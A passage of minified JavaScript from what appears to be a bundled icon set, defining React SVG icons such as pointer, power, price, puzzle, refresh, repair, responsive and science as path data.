c493.331,0,894.683-401.352,894.683-894.674C1794.676,406.676,1393.324,5.324,899.993,5.324z M899.993,1731.906 c-458.71,0-831.899-373.188-831.899-831.903S441.283,68.095,899.993,68.095c458.719,0,831.912,373.193,831.912,831.908 S1358.712,1731.906,899.993,1731.906z"})),pointer:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M3.589,44.981l722.935,1734.396c4.938,11.834,16.494,19.473,29.212,19.473c0.534,0,1.064-0.017,1.603-0.044 c13.345-0.671,24.826-9.645,28.703-22.431l230.227-760.125l760.101-230.213c12.784-3.871,21.767-15.354,22.437-28.699 c0.672-13.342-7.101-25.669-19.434-30.809L44.989,3.585C33.14-1.343,19.496,1.349,10.425,10.421 C1.355,19.491-1.342,33.14,3.589,44.981z M91.616,91.606L1673.59,751.021L981.705,960.576 c-10.126,3.063-18.048,10.994-21.116,21.115l-209.565,691.907L91.616,91.606z"}),(0,o.createElement)("path",{d:"M699.044,1270.004c-3.979,1.66-8.108,2.447-12.166,2.447c-12.396,0-24.165-7.33-29.229-19.483 L425.565,696.183c-6.721-16.138,0.905-34.669,17.041-41.397c16.14-6.723,34.669,0.905,41.395,17.039l232.085,556.785 C722.806,1244.746,715.18,1263.283,699.044,1270.004z"})),power:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.996,6.911C405.643,6.911,3.458,409.103,3.458,903.462C3.458,1397.811,405.643,1800,899.996,1800 c494.357,0,896.546-402.189,896.546-896.538C1796.542,409.103,1394.353,6.911,899.996,6.911z M899.996,1737.1 c-459.667,0-833.637-373.97-833.637-833.638c0-459.679,373.969-833.649,833.637-833.649c459.672,0,833.644,373.971,833.644,833.649 C1733.64,1363.13,1359.668,1737.1,899.996,1737.1z"}),(0,o.createElement)("path",{d:"M1073.088,393.764v66.982c176.77,69.347,302.257,241.646,302.257,442.716 c0,262.101-213.239,475.332-475.349,475.332c-262.101,0-475.336-213.231-475.336-475.332 c0-201.075,125.491-373.374,302.261-442.725v-66.973c-212.139,72.23-365.162,273.421-365.162,509.698 c0,296.781,241.452,538.234,538.238,538.234c296.79,0,538.251-241.453,538.251-538.234 C1438.247,667.194,1285.223,466.002,1073.088,393.764z"}),(0,o.createElement)("path",{d:"M900.004,880.287c17.371,0,31.45-14.084,31.45-31.451V286.086c0-17.371-14.079-31.451-31.45-31.451 c-17.37,0-31.45,14.08-31.45,31.451v562.749C868.554,866.202,882.634,880.287,900.004,880.287z"})),presentation:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1766.471,171.322c17.431,0,31.56-14.128,31.56-31.559V31.56c0-17.431-14.129-31.56-31.56-31.56H33.529 C16.099,0,1.97,14.128,1.97,31.56v108.203c0,17.431,14.129,31.559,31.56,31.559h109.048v924.236H33.529 c-17.431,0-31.56,14.128-31.56,31.559v108.204c0,17.431,14.129,31.559,31.56,31.559h786.238l-497.67,478.822 c-12.561,12.081-12.944,32.062-0.858,44.622c6.195,6.438,14.463,9.678,22.745,9.678c7.872,0,15.758-2.928,21.878-8.819 l472.548-454.654v431.914c0,17.431,14.129,31.56,31.56,31.56s31.559-14.129,31.559-31.56v-431.914l472.549,454.654 c6.124,5.892,14.005,8.819,21.877,8.819c8.281,0,16.551-3.24,22.745-9.678c12.085-12.561,11.702-32.541-0.858-44.622 l-497.671-478.822h846.302c17.431,0,31.56-14.128,31.56-31.559v-108.204c0-17.431-14.129-31.559-31.56-31.559h-109.049V171.322 H1766.471z M65.088,63.118h1669.824v45.085h-109.049H174.137H65.088V63.118z M1734.912,1203.761H65.088v-45.085h109.049h1451.727 h109.049V1203.761z M1594.304,1095.558H205.696V171.322h1388.607V1095.558z"}),(0,o.createElement)("path",{d:"M502.242,852.752c8.075,0,16.154-3.082,22.313-9.242l171.52-171.511l197.717,197.717 c6.164,6.159,14.243,9.241,22.317,9.241c8.075,0,16.154-3.082,22.318-9.241l269.904-269.905l0.005,181.012 c0,17.431,14.128,31.56,31.56,31.56c17.43,0,31.559-14.129,31.559-31.56l-0.009-260.289c0-8.73-3.544-16.634-9.276-22.344 c-5.711-5.728-13.613-9.277-22.344-9.277l-260.285-0.009c-17.426,0-31.56,14.129-31.56,31.56s14.129,31.559,31.56,31.559 l187.299,0.009l-250.73,250.731L718.394,605.046c-12.328-12.319-32.308-12.319-44.636,0c-0.014,0.013-0.026,0.031-0.04,0.044 L479.929,798.875c-12.328,12.328-12.328,32.308-0.004,44.631C486.088,849.67,494.163,852.752,502.242,852.752z"})),price:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M980.141,1426.945H799.02v-118.506c-69.393-6.158-141.632-26.024-190.641-53.104l-20.991-11.607 l52.338-204.102l35.001,19.166c33.877,18.551,103.21,49.678,186.896,49.678c43.264,0,86.914-13.717,86.914-44.368 c0-20.55-13.207-44.022-108.99-76.386C727.884,950.146,599.67,887.562,599.67,735.901c0-118.03,78.008-208.647,205.43-241.258 V373.055h181.121v108.638c76.854,6.214,127.293,26.167,159.665,41.397l23.395,11.01l-52.706,198.537l-34.932-16.757 c-30.332-14.56-81.1-38.932-160.461-38.932c-27.462,0-73.538,4.973-73.538,38.288c0,25.207,67.061,52.896,125.491,74.206 c156.457,54.756,223.372,131.853,223.372,257.641c0,62.643-21.977,119.475-63.568,164.353 c-37.588,40.571-90.052,69.527-152.798,84.567V1426.945z M861.015,1364.95h57.132v-120.313l25.729-4.437 c117.589-20.272,190.636-94.271,190.636-193.118c0-81.316-30.988-146.326-182.237-199.261 c-91.338-33.311-166.625-66.172-166.625-132.585c0-48.481,35.607-100.283,135.533-100.283 c68.248,0,119.197,15.615,154.484,30.171l20.221-76.148c-31.758-12.463-77.164-25.047-141.589-26.967l-30.071-0.899v-106.06 h-57.132v110.22L841.792,550c-112.789,21.082-180.128,90.579-180.128,185.901c0,88.71,59.123,146.45,197.689,193.064 c78.537,26.534,151.178,61.268,151.178,135.137c0,64.615-58.448,106.362-148.908,106.362 c-73.782,0-137.615-20.566-181.23-39.836l-20.731,80.85c39.862,17.4,101.68,34.715,171.28,36.791l30.072,0.9V1364.95z"}),(0,o.createElement)("path",{d:"M1394.443,1646.797l13.552-28.16c-5.872,4.203-11.797,8.346-17.772,12.41L1394.443,1646.797z"}),(0,o.createElement)("path",{d:"M894.438,1721.617c-453.04,0-821.616-368.576-821.616-821.614c0-453.044,368.576-821.62,821.616-821.62 c453.043,0,821.627,368.576,821.627,821.62c0,144.397-37.492,280.184-103.18,398.222l61.597,16.502 c66.06-123.746,103.577-264.929,103.577-414.724c0-487.224-396.391-883.615-883.621-883.615 c-487.224,0-883.61,396.391-883.61,883.615c0,487.227,396.386,883.608,883.61,883.608 c154.789,0,300.383-40.053,427.035-110.271l-16.563-61.813C1184.061,1681.513,1043.848,1721.617,894.438,1721.617z"}),(0,o.createElement)("path",{d:"M1661.595,1783.611c-7.931,0-15.862-3.027-21.916-9.072l-150.333-150.333l-48.355,100.489 c-5.621,11.686-17.973,18.647-30.824,17.428c-12.904-1.211-23.697-10.326-27.053-22.842l-111.181-414.95 c-2.862-10.698,0.199-22.114,8.026-29.942c7.836-7.836,19.243-10.889,29.941-8.025l414.943,111.188 c12.514,3.355,21.63,14.149,22.841,27.054c1.202,12.903-5.743,25.202-17.427,30.824l-100.49,48.363l150.332,150.324 c5.813,5.813,9.073,13.699,9.073,21.916c0,8.225-3.261,16.104-9.073,21.925l-96.58,96.581 C1677.465,1780.584,1669.525,1783.611,1661.595,1783.611z M1480.368,1540.391c8.147,0,16.052,3.217,21.916,9.081 l159.311,159.311l52.749-52.749l-159.311-159.302c-7.101-7.108-10.326-17.211-8.641-27.122 c1.688-9.903,8.061-18.37,17.116-22.729l64.563-31.076l-282.357-75.659l75.651,282.356l31.066-64.555 c4.358-9.055,12.835-15.43,22.737-17.115C1476.9,1540.537,1478.639,1540.391,1480.368,1540.391z"}),(0,o.createElement)("path",{d:"M1140.299,292.544c111.231,0,327.736,121.636,327.736,344.61c0,17.12,13.873,30.997,30.997,30.997 c17.116,0,30.997-13.877,30.997-30.997c0-116.063-51.296-223.666-144.435-302.993c-73.896-62.941-170.182-103.612-245.296-103.612 c-17.116,0-30.998,13.877-30.998,30.998S1123.183,292.544,1140.299,292.544z"})),puzzle:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1794.799,86.801c0-45.832-38.102-83.119-84.936-83.119H901.35h-3.8H93.755 c-45.832,0-83.119,38.102-83.119,84.94v812.311c0,1.243,0.092,2.47,0.231,3.678c-0.14,1.208-0.231,2.424-0.231,3.677v807.594 c0,45.832,38.101,83.119,84.936,83.119h808.513h3.8h803.795c45.831,0,83.119-38.102,83.119-84.94V901.747 c0-1.243-0.093-2.469-0.232-3.677c0.14-1.208,0.232-2.428,0.232-3.675V86.801z M1732.043,86.801v776.217h-243.219 c33.027-37.121,52.45-85.802,52.45-137.973c0-41.45-12.262-80.067-33.282-112.504c-36.425-59.971-102.365-100.121-177.514-100.121 c-114.426,0-207.517,93.091-207.517,207.517c0.005,41.893,12.554,81.503,34.587,114.715c6.236,10.024,13.272,19.537,21.129,28.366 H932.727V524.099c0-10.37-5.047-19.532-12.799-25.249c-5.691-5.796-13.609-9.398-22.378-9.398h-9.739 c-13.483,0-25.455,8.61-29.745,21.393c-19.808,59.008-74.951,98.65-137.22,98.65c-23.59,0-45.862-5.708-65.561-15.764 c-43.652-24.956-73.156-71.948-73.156-125.733c0-79.827,64.939-144.771,144.763-144.771c22.955,0,44.921,5.427,64.527,15.189 c30.695,17.146,54.906,45.228,66.646,80.208c2.933,8.746,9.508,15.457,17.659,18.871c5.182,3.673,11.468,5.787,18.131,5.787h7.494 c17.33,0,31.377-14.042,31.377-31.377V66.437h777.137C1722.093,66.437,1732.043,75.573,1732.043,86.801z M73.392,88.622 c0-12.23,9.136-22.185,20.364-22.185h772.417v247.737c-13.447-12.178-28.418-22.575-44.58-30.861 c-30.126-16.726-64.584-26.107-100.747-26.107c-114.426,0-207.517,93.095-207.517,207.525c0,80.024,45.557,149.56,112.072,184.172 c30.029,16.915,64.641,26.61,101.491,26.61c52.805,0,101.994-19.926,139.281-53.694v247.732h-338.39 c-17.33,0-31.377,14.048-31.377,31.38v9.735c0,7.117,2.447,13.771,6.588,19.139c3.633,7.257,10.016,13.019,18.07,15.715 c31.597,10.61,57.555,31.412,74.938,57.948c13.067,21.914,20.447,47.364,20.447,74.163c0,79.827-64.939,144.762-144.762,144.762 c-50.271,0-94.618-25.766-120.581-64.769c-13.273-21.861-20.92-47.495-20.92-74.881c-0.004-62.264,39.646-117.412,98.659-137.224 c12.782-4.29,21.392-16.258,21.392-29.74v-7.494c0-5.953-1.685-11.489-4.557-16.229c-3.83-13.005-15.842-22.505-30.086-22.505 H73.392V88.622z M73.392,1715.881V939.665h243.219c-33.028,37.12-52.45,85.797-52.45,137.968c0,41.454,12.266,80.072,33.286,112.51 c36.42,59.97,102.362,100.119,177.51,100.119c114.426,0,207.517-93.09,207.517-207.517c-0.005-41.892-12.56-81.508-34.587-114.724 c-6.238-10.024-13.272-19.532-21.125-28.356h245.946v338.919c0,10.374,5.051,19.54,12.804,25.248 c5.69,5.796,13.609,9.395,22.373,9.395h9.74c13.482,0,25.455-8.606,29.744-21.388c19.809-59.008,74.951-98.65,137.22-98.65 c23.577,0,45.836,5.699,65.53,15.741c43.67,24.951,73.187,71.956,73.187,125.756c0,79.817-64.938,144.762-144.762,144.762 c-22.96,0-44.931-5.42-64.536-15.19c-30.69-17.142-54.894-45.228-66.639-80.203c-2.938-8.746-9.512-15.461-17.671-18.876 c-5.18-3.668-11.461-5.778-18.118-5.778h-7.495c-17.33,0-31.377,14.044-31.377,31.378v345.468H95.572 C83.341,1736.245,73.392,1727.104,73.392,1715.881z M1732.043,1714.06c0,12.231-9.135,22.186-20.363,22.186H939.263v-247.737 c13.443,12.17,28.414,22.57,44.571,30.852c30.125,16.731,64.589,26.117,100.755,26.117c114.427,0,207.518-93.1,207.518-207.526 c0-80.037-45.569-149.586-112.098-184.185c-30.024-16.906-64.624-26.598-101.465-26.598c-52.805,0-101.999,19.926-139.281,53.693 V933.124h338.39c17.33,0,31.377-14.043,31.377-31.377v-9.738c0-7.113-2.447-13.767-6.593-19.133 c-3.628-7.258-10.015-13.019-18.065-15.72c-31.597-10.607-57.559-31.408-74.938-57.949c-13.066-21.909-20.446-47.364-20.446-74.163 c0-79.823,64.938-144.762,144.762-144.762c50.266,0,94.618,25.761,120.581,64.764c13.268,21.861,20.919,47.5,20.919,74.889 c0.005,62.265-39.646,117.408-98.658,137.22c-12.782,4.29-21.393,16.262-21.393,29.745v7.494c0,5.952,1.686,11.484,4.557,16.23 c3.83,13,15.838,22.499,30.087,22.499h342.201V1714.06z"})),refresh:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M147.558,1234.803c-42.809-95.198-67.328-198.696-71.438-306.137 c-8.405-219.555,69.194-429.247,218.505-590.444C443.93,177.034,647.075,83.629,866.635,75.225 c211.431-8.08,413.71,63.609,572.343,202.278l-197.662,7.562c-17.369,0.667-30.911,15.281-30.248,32.652 c0.649,16.967,14.604,30.272,31.43,30.272c0.41,0,0.817,0,1.226-0.018l272.117-10.417c0.328,0.018,0.65,0.053,0.982,0.053 c0.408,0,0.817-0.009,1.227-0.026c17.37-0.659,30.911-15.281,30.25-32.653l-10.448-273.207 c-0.664-17.372-15.474-30.875-32.655-30.25c-17.371,0.666-30.914,15.286-30.25,32.657l7.561,197.786 C1311.412,81.416,1092.766,3.566,864.228,12.322C627.864,21.37,409.175,121.919,248.439,295.444 C87.704,468.98,4.167,694.718,13.213,931.072c4.426,115.696,30.878,227.107,76.989,329.604c0.922,3.539,2.406,6.85,4.399,9.802 c0.009,0.016,0.018,0.034,0.027,0.052l0.008-0.009c5.748,8.44,15.431,13.99,26.408,13.99c17.631,0,31.911-14.289,31.911-31.914 c0-6.587-1.999-12.7-5.416-17.784L147.558,1234.803z"}),(0,o.createElement)("path",{d:"M1709.859,539.519c-0.75-2.45-1.817-4.76-3.104-6.921c-0.113-0.245-0.22-0.491-0.334-0.737l-0.083,0.053 c-5.651-8.958-15.605-14.93-26.982-14.93c-17.619,0-31.92,14.288-31.92,31.914c0,7.008,2.289,13.472,6.121,18.733 c129.647,291.647,82.579,645.552-147.685,894.139c-149.311,161.198-352.457,254.597-572.01,263.001 c-211.414,8.079-413.702-63.61-572.335-202.271l197.656-7.572c17.372-0.667,30.914-15.279,30.25-32.65 c-0.668-17.372-15.352-30.817-32.656-30.256l-272.366,10.426c-0.654-0.019-1.304-0.054-1.967-0.036 c-17.371,0.668-30.913,15.289-30.25,32.661l10.459,273.204c0.65,16.967,14.604,30.272,31.432,30.272 c0.408,0,0.816-0.009,1.225-0.018c17.371-0.667,30.913-15.289,30.25-32.66l-7.574-197.802 c162.422,142.869,367.644,220.274,583.58,220.274c11.531,0,23.119-0.228,34.702-0.667 c236.359-9.046,455.05-109.594,615.789-283.128C1800.597,1236.227,1850.813,853.956,1709.859,539.519z"})),repair:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M803.722,820.892l-247.878-247.87l71.705-71.702l247.875,247.871l40.808-40.802L655.949,448.104 l74.925-74.921c0.596-0.596,1.147-1.216,1.682-1.86c0.592-0.499,1.175-1.006,1.735-1.562l135.512-135.512 c11.126-11.12,11.292-29.106,0.366-40.43l-1.538-1.606c-1.284-1.349-2.572-2.693-3.893-4.018 C796.995,120.454,709.056,80.01,629.497,80.01c-53.655,0-99.814,17.796-133.483,51.468c-0.733,0.73-1.409,1.503-2.053,2.3 c-0.443,0.388-0.89,0.765-1.309,1.183L185.294,442.324c-11.267,11.271-11.267,29.539,0,40.81l45.403,45.399l-37.493,37.493 l-45.403-45.408c-5.414-5.41-12.752-8.453-20.405-8.453c-7.652,0-14.99,3.043-20.404,8.453L12.869,614.75 c-11.268,11.271-11.268,29.538,0,40.802l197.415,197.416c5.414,5.41,12.752,8.454,20.404,8.454c7.653,0,14.995-3.043,20.405-8.454 l94.115-94.13c11.268-11.264,11.268-29.531,0-40.802l-45.395-45.399l37.493-37.493l45.395,45.399 c5.636,5.636,13.019,8.446,20.405,8.446c7.383,0,14.77-2.818,20.401-8.446l79.124-79.124l260.285,260.285L803.722,820.892z M629.497,137.719c58.812,0,124.33,28.287,178.733,76.497l-94.34,94.334L559.981,154.64 C579.485,143.503,603.046,137.719,629.497,137.719z M230.688,791.756L74.079,635.15l53.317-53.321l156.602,156.605 L230.688,791.756z M261.089,629.749l-24.999-24.999l35.408-35.408l24.998,24.998L261.089,629.749z M403.106,619.331 L246.505,462.725L513.058,196.17l156.609,156.612L403.106,619.331z"}),(0,o.createElement)("path",{d:"M1763.996,1556.146l-593.695-593.688l-40.803,40.801l573.296,573.296l-71.701,71.709l-573.303-573.303 l-40.803,40.81l593.704,593.705c5.41,5.408,12.752,8.452,20.401,8.452c7.657,0,14.999-3.044,20.409-8.452l112.502-112.521 C1775.268,1585.686,1775.268,1567.418,1763.996,1556.146z"}),(0,o.createElement)("path",{d:"M1780.444,264.271c-3.269-9.372-11.135-16.4-20.812-18.614c-9.67-2.206-19.806,0.708-26.825,7.729 l-116.585,116.576l-109.307-109.315l116.585-116.57c7.02-7.021,9.942-17.156,7.729-26.833c-2.214-9.679-9.243-17.541-18.614-20.814 c-29.071-10.149-59.48-15.298-90.379-15.298c-73.062,0-141.743,28.449-193.397,80.104c-51.671,51.66-80.123,120.344-80.123,193.406 c0,35.343,6.723,69.648,19.442,101.514l-736.242,736.236c-31.861-12.721-66.158-19.435-101.497-19.435 c-73.058,0-141.744,28.452-193.407,80.115c-73.802,73.801-99.243,185.193-64.809,283.775c3.272,9.372,11.134,16.4,20.812,18.614 c9.673,2.206,19.809-0.7,26.833-7.72l116.581-116.586l109.315,109.299l-116.585,116.586c-7.021,7.02-9.938,17.155-7.729,26.833 c2.214,9.677,9.242,17.534,18.613,20.812c29.064,10.152,59.468,15.296,90.372,15.304c0.008,0,0.008,0,0.016,0 c73.042,0,141.728-28.46,193.39-80.122c79.559-79.566,99.726-196.352,60.563-294.822l736.347-736.333 c31.865,12.728,66.162,19.443,101.506,19.443c0.008,0,0,0,0.008,0c73.046,0,141.736-28.444,193.391-80.106 C1789.438,474.246,1814.878,362.854,1780.444,264.271z M583.011,1599.065c-40.762,40.763-94.948,63.216-152.58,63.216 c0,0-0.012,0-0.016,0c-7.915-0.008-15.792-0.436-23.602-1.28l100.137-100.138c5.414-5.417,8.454-12.752,8.454-20.408 c0-7.648-3.04-14.99-8.454-20.4L356.83,1369.946c-11.263-11.264-29.535-11.264-40.806,0l-100.072,100.072 c-6.835-64.134,15.333-129.603,61.871-176.146c40.762-40.762,94.952-63.207,152.597-63.207c57.64,0,111.83,22.445,152.588,63.215 C667.146,1378.013,667.146,1514.926,583.011,1599.065z M659.282,1288.535l-70.945-70.951l702.501-702.488l70.953,70.944 L659.282,1288.535z M1674.832,507.246c-40.761,40.753-94.951,63.199-152.596,63.199S1410.394,548,1369.632,507.238 c-40.753-40.762-63.207-94.953-63.207-152.597s22.454-111.834,63.216-152.598c40.753-40.758,94.951-63.204,152.596-63.204 c7.922,0,15.796,0.429,23.605,1.28l-100.137,100.127c-5.411,5.41-8.453,12.752-8.453,20.4c0,7.657,3.042,14.991,8.453,20.401 l150.108,150.117c11.271,11.271,29.547,11.271,40.81,0.008l100.072-100.073C1743.531,395.234,1721.367,460.704,1674.832,507.246z"})),responsive:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1748.663,978.006h-39.578h-49.802H1448.09c-23.352,0-42.35,18.998-42.35,42.354v40.533v49.801v193.7 v49.801v212.886c0,23.355,18.998,42.354,42.35,42.354h300.573c23.354,0,42.354-18.998,42.354-42.354v-546.721 C1791.017,997.004,1772.018,978.006,1748.663,978.006z M1741.215,1559.633h-285.674v-205.438v-49.801v-193.7v-49.801v-33.086 h203.742h49.802h32.13V1559.633z"}),(0,o.createElement)("path",{d:"M1598.133,1479.07c-13.263,0-24.011,10.755-24.011,24.011c0,13.267,10.748,24.012,24.011,24.012 c13.257,0,24.012-10.745,24.012-24.012C1622.145,1489.825,1611.39,1479.07,1598.133,1479.07z"}),(0,o.createElement)("path",{d:"M1639.063,1060.893c-1.765-0.963-3.763-1.561-5.916-1.561H1563.6c-2.154,0-4.151,0.598-5.916,1.561 c-3.873,2.111-6.534,6.17-6.534,10.891c0,6.875,5.575,12.45,12.45,12.45h69.547c6.875,0,12.45-5.575,12.45-12.45 C1645.597,1067.063,1642.936,1063.004,1639.063,1060.893z"}),(0,o.createElement)("path",{d:"M58.785,261.847c0-11.842,8.07-21.479,17.991-21.479h1540.741c9.925,0,17.998,9.636,17.998,21.479v674.657 h8.007h41.794V261.847c0-39.303-30.413-71.28-67.799-71.28H76.776c-37.382,0-67.792,31.977-67.792,71.28v1021.067 c0,39.304,30.41,71.28,67.792,71.28h614.065v205.285H453.896c-13.753,0-24.901,11.147-24.901,24.9s11.148,24.901,24.901,24.901 h261.846h262.823h261.847c13.752,0,24.9-11.148,24.9-24.901s-11.148-24.9-24.9-24.9h-236.946v-205.285h353.185v-48.397v-1.403 H76.776c-9.921,0-17.991-9.634-17.991-21.479v-172.221H1356.65v-24.06v-25.741H58.785V261.847z M953.664,1559.479H740.644 v-205.285h213.021V1559.479z"}),(0,o.createElement)("path",{d:"M808.262,1205.613c0,21.476,17.415,38.887,38.886,38.887c21.472,0,38.894-17.411,38.894-38.887 c0-21.475-17.421-38.89-38.894-38.89C825.677,1166.724,808.262,1184.139,808.262,1205.613z"}),(0,o.createElement)("path",{d:"M273.199,457.516h625.589c13.753,0,24.9-11.148,24.9-24.901s-11.147-24.9-24.9-24.9H273.199 c-13.753,0-24.9,11.147-24.9,24.9S259.446,457.516,273.199,457.516z"}),(0,o.createElement)("path",{d:"M1421.102,556.41H273.199c-13.753,0-24.9,11.147-24.9,24.9c0,13.753,11.147,24.901,24.9,24.901h1147.902 c13.753,0,24.9-11.147,24.9-24.901C1446.002,567.558,1434.854,556.41,1421.102,556.41z"}),(0,o.createElement)("path",{d:"M1421.102,705.102H273.199c-13.753,0-24.9,11.148-24.9,24.901s11.147,24.9,24.9,24.9h1147.902 c13.753,0,24.9-11.147,24.9-24.9S1434.854,705.102,1421.102,705.102z"}),(0,o.createElement)("path",{d:"M1421.102,853.798H273.199c-13.753,0-24.9,11.147-24.9,24.9s11.147,24.901,24.9,24.901h1147.902 c13.753,0,24.9-11.148,24.9-24.901S1434.854,853.798,1421.102,853.798z"})),science:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M890.431,974.791c69.867,0,126.714-56.838,126.714-126.704c0-69.867-56.847-126.705-126.714-126.705 c-69.867,0-126.7,56.838-126.7,126.705C763.73,917.953,820.564,974.791,890.431,974.791z M890.431,782.932 c35.933,0,65.163,29.226,65.163,65.155c0,35.928-29.23,65.159-65.163,65.159c-35.928,0-65.154-29.231-65.154-65.159 C825.276,812.158,854.503,782.932,890.431,782.932z"}),(0,o.createElement)("path",{d:"M1393.528,849.313c107.104-90.789,190.083-183.293,228.049-264.898c-9.547,1.934-19.43,2.959-29.544,2.959 c-13.436,0-26.451-1.824-38.848-5.184c-20.757,36.129-52.147,77.005-93.216,120.522c-33.35,35.331-71.835,71.25-114.557,107.113 c-53.068-42.077-111.368-83.756-173.604-124.039c-4.372-67.951-11.445-134.917-21.162-198.771 c112.563-39.035,214.152-61.298,293.431-62.93c2.182-22.314,9.32-43.18,20.294-61.515c-3.63-0.083-7.229-0.192-10.965-0.192 c-84.31,0-192.959,22.611-313.084,63.409C1095.904,186.437,1011.979,4.434,892.464,4.434 c-119.523,0-203.453,182.002-247.859,421.353c-120.133-40.798-228.778-63.409-313.088-63.409c-0.375,0-0.724,0.018-1.1,0.018 c11.079,18.457,18.265,39.497,20.425,61.986c77.738,3.207,175.549,25.221,283.43,62.633 c-9.717,63.854-16.791,130.823-21.167,198.779c-62.231,40.283-120.526,81.954-173.594,124.03 c-42.723-35.859-81.208-71.783-114.557-107.113c-40.27-42.661-71.242-82.8-92.002-118.405c-9.727,2.007-19.793,3.067-30.104,3.067 c-14.146,0-27.821-2.034-40.789-5.738c37.355,82.281,121.011,175.863,229.337,267.678 c-41.208,35.039-78.546,70.143-111.206,104.753c-122.351,129.632-165.36,236.671-124.393,309.549 c27.241,48.456,86.356,73.026,175.706,73.026c84.314,0,192.959-22.607,313.097-63.414 c24.544,132.286,61.167,247.014,109.194,323.216c9.032-20.979,22.769-39.462,39.855-54.159 c-18.356-33.799-35.767-76.254-51.313-126.133c-15.473-49.611-28.637-104.691-39.362-163.867 c61.358-23.117,125.033-50.542,189.49-81.762c64.452,31.22,128.123,58.645,189.481,81.757 c-10.729,59.177-23.894,114.261-39.362,163.872c-15.909,51.043-33.772,94.35-52.609,128.533 c16.847,15.207,30.182,34.227,38.69,55.668c49.245-76.158,86.688-192.578,111.659-327.129 c120.13,40.811,228.783,63.418,313.102,63.418c89.336,0,148.461-24.574,175.697-73.031 c40.972-72.873-2.038-179.912-124.388-309.544C1472.069,919.455,1434.731,884.351,1393.528,849.313z M1296.368,849.505 c-37.753,29.492-78.184,58.771-120.802,87.491c1-29.188,1.519-58.396,1.519-87.482c0-29.096-0.519-58.313-1.519-87.5 C1218.185,790.729,1258.615,820.013,1296.368,849.505z M669.376,849.514c0-43.538,1.091-86.514,3.186-128.655 c35.701-22.472,72.638-44.477,110.582-65.809c36.478-20.508,73.009-39.851,109.321-58.016 c36.308,18.165,72.838,37.508,109.312,58.016c37.953,21.329,74.881,43.337,110.582,65.805c2.099,42.137,3.181,85.117,3.181,128.66 c0,43.529-1.082,86.504-3.181,128.638c-35.706,22.472-72.638,44.48-110.591,65.817c-36.474,20.5-73,39.848-109.303,58.008 c-36.308-18.16-72.843-37.508-109.312-58.012c-37.953-21.338-74.885-43.346-110.591-65.818 C670.467,936.018,669.376,893.043,669.376,849.514z M1107.445,645.493c-24.697-14.966-49.878-29.688-75.514-44.097 c-23.257-13.072-46.558-25.683-69.832-37.853c44.146-20.364,87.635-38.786,129.942-55.07 C1098.47,552.443,1103.618,598.281,1107.445,645.493z M742.337,282.868C784.679,147.061,840.793,65.98,892.464,65.98 c51.663,0,107.781,81.081,150.119,216.888c15.469,49.617,28.633,104.696,39.358,163.864 c-61.354,23.113-125.029,50.537-189.477,81.762c-64.457-31.225-128.127-58.649-189.49-81.762 C713.708,387.563,726.864,332.484,742.337,282.868z M692.873,508.469c42.308,16.284,85.802,34.711,129.947,55.075 c-23.274,12.17-46.571,24.78-69.828,37.853c-25.635,14.408-50.825,29.13-75.522,44.097 C681.301,598.281,686.45,552.443,692.873,508.469z M609.357,762.019c-1.004,29.187-1.527,58.399-1.527,87.495 c0,29.086,0.523,58.295,1.523,87.478c-42.618-28.716-83.04-57.999-120.796-87.482C526.313,820.017,566.735,790.734,609.357,762.019 z M331.504,1275.095c-63.618,0-106.965-14.792-122.062-41.64c-25.312-45.035,17.864-133.687,115.508-237.147 c33.415-35.418,72.005-71.416,114.841-107.362c53.796,42.586,112.301,84.358,173.302,123.996 c4.372,68.047,11.445,135.112,21.18,199.063C517.268,1252.575,412.053,1275.095,331.504,1275.095z M692.873,1190.541 c-6.427-44.002-11.581-89.874-15.412-137.125c24.955,15.172,50.17,29.941,75.535,44.197c23.252,13.072,46.553,25.683,69.832,37.852 C778.68,1155.83,735.181,1174.261,692.873,1190.541z M962.1,1135.465c23.274-12.169,46.575-24.779,69.823-37.844 c25.36-14.26,50.577-29.029,75.535-44.201c-3.831,47.247-8.979,93.119-15.416,137.116 C1049.734,1174.261,1006.245,1155.83,962.1,1135.465z M1575.478,1233.455c-15.097,26.848-58.443,41.64-122.053,41.64 c-80.558,0-185.769-22.52-302.777-63.091c9.73-63.95,16.813-131.012,21.18-199.063c61.001-39.634,119.51-81.404,173.311-123.996 c42.827,35.946,81.417,71.944,114.841,107.362C1557.614,1099.769,1600.795,1188.42,1575.478,1233.455z"}),(0,o.createElement)("path",{d:"M323.685,429.749c0-70.146-57.069-127.211-127.215-127.211c-70.142,0-127.207,57.064-127.207,127.211 c0,70.142,57.065,127.211,127.207,127.211C266.616,556.96,323.685,499.891,323.685,429.749z M131.817,429.749 c0-35.649,29.003-64.657,64.653-64.657c35.653,0,64.661,29.008,64.661,64.657c0,35.649-29.008,64.657-64.661,64.657 C160.82,494.406,131.817,465.398,131.817,429.749z"}),(0,o.createElement)("path",{d:"M1603.526,302.538c-70.146,0-127.211,57.064-127.211,127.211c0,70.142,57.064,127.211,127.211,127.211 c70.146,0,127.211-57.069,127.211-127.211C1730.737,359.603,1673.672,302.538,1603.526,302.538z M1603.526,494.406 c-35.653,0-64.657-29.008-64.657-64.657c0-35.649,29.004-64.657,64.657-64.657s64.656,29.008,64.656,64.657 C1668.183,465.398,1639.18,494.406,1603.526,494.406z"}),(0,o.createElement)("path",{d:"M892.983,1541.145c-70.142,0-127.206,57.064-127.206,127.211s57.064,127.211,127.206,127.211 